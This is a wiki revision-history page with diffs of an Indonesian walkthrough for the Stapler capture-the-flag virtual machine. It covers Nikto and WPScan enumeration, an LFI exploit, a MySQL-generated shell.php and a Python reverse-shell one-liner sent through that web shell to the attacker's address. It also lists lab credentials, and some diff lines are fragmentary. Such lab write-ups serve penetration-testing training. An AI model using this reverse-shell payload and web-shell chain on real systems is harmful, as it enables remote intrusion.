CTF Stapler: Walkthrough - Revision history

Onnowpurbo: /* Instalasi */

2023-02-10T03:24:27Z

Instalasi

Onnowpurbo: /* SSH ke Server */

2023-01-23T09:59:21Z

SSH ke Server

Onnowpurbo: /* Akses Shell di Server */

2023-01-23T09:58:56Z

Akses Shell di Server

Onnowpurbo: /* Akses Shell di Server */

2023-01-23T09:52:55Z

Akses Shell di Server

Onnowpurbo: /* MySQL generate shell.php */

2023-01-23T09:46:49Z

MySQL generate shell.php

Onnowpurbo: /* LFI Exploit */

2023-01-23T09:40:56Z

LFI Exploit

Show changes

Onnowpurbo: /* LFI Exploit */

2023-01-23T09:21:14Z

LFI Exploit

Onnowpurbo at 09:09, 23 January 2023

2023-01-23T09:09:55Z

Onnowpurbo: /* WPScan */

2023-01-23T08:26:32Z

WPScan

Show changes

Onnowpurbo: /* Nikto 12380 */

2023-01-23T08:04:11Z

Nikto 12380

@@ Line 47: / Line 47: @@
 * Download OVA
 * Install di VirtualBox
-* Jalankan==
+* Jalankan
 ==Hack==

@@ Line 1,083: / Line 1,083: @@
   red%
-Capture the Flag
+==Capture the Flag==
   red% sudo usermod -s /bin/bash peter

@@ Line 957: / Line 957: @@
-==Akses Shell di Server==
+==Akses Shell via Web==
 Cek IP address & catat kali linux
@@ Line 1,050: / Line 1,050: @@
   JKanode thisismypassword
   peter   JZQuyIN5
 ==Referensi==
 * https://jhalon.github.io/vulnhub-stapler1/

@@ Line 971: / Line 971: @@
   https://192.168.0.61:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.62",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 ==Referensi==
 * https://jhalon.github.io/vulnhub-stapler1/

@@ Line 955: / Line 955: @@
 Inti-nya shell.php bisa di pakai :) ..
 ==Referensi==
 * https://jhalon.github.io/vulnhub-stapler1/

@@ Line 738: / Line 738: @@
 * Kita dapat banyak user
 * Tampaknya ada XSS Vulnerability, Path Traversal Vulnerability
-This is great! Not only did we find a ton of users (which seem to correlate to the names we found earlier) but we also found a few XSS Vulnerabilities, a and a few plugins that we can use to research for possible vulnerable entry points.
+ import ssl
 Once it ran successfully - I navigated to https://192.168.1.13:12380/blogblog/wp-content/uploads/ and was presented with a .jpeg file.

@@ Line 461: / Line 461: @@
 Yang menarik, kita memperoleh 4 directory: /phpmyadin/, /blogblog/, /admin112233/, dan tentunya /robots.txt.
-My initial attempts to try and navigate to the directories were futile, as the page kept going back to the home page. So I decided to add https:// before the IP and try again. I attempted to access /robots.txt first, so I entered the following url https://192.168.1.13:12380/robots.txt in my browser, and behold - I got the robots.txt page!
+==Akses Web==
   User-agent: *
@@ Line 467: / Line 473: @@
   Disallow: /blogblog/
-From here, I decided to try and navigate to /admin112233/ as it seemed the most interesting to me.
+Mari kita coba
-Damnit! Okay, some humor is always great - but this nearly gave me a heart attack…. So what did we learn today? DISABLE JAVA!
+ https://192.168.0.61:12380/blogblog/
-Once I got over the fact that I could have been hooked, I attempted to navigate the /blogblog/ page.
+Tampak berisi blog, tidak ada yang terlalu menarik kecuali ada beberapa nama. Dan yang menarik ada login page.
-The blog really didn’t contain much information for us - except a few names - as well as the name of the poster (great for future enumeration or brute forcing tactics - if we go that route). I also saw that the page contained a “login” section. Navigating to the login took me to a WordPress login page… so instead of logging in, I decided to run a WPScan and see if I can’t enumerate any users, plugins, and vulnerabilities.
+ wpscan --url https://192.168.0.61:12380/blogblog/ --enumerate
- root@cryptic:~# wpscan --url https://192.168.1.13:12380/blogblog/ --enumerate uap
+Hasilnya,
   _______________________________________________________________
           __          _______   _____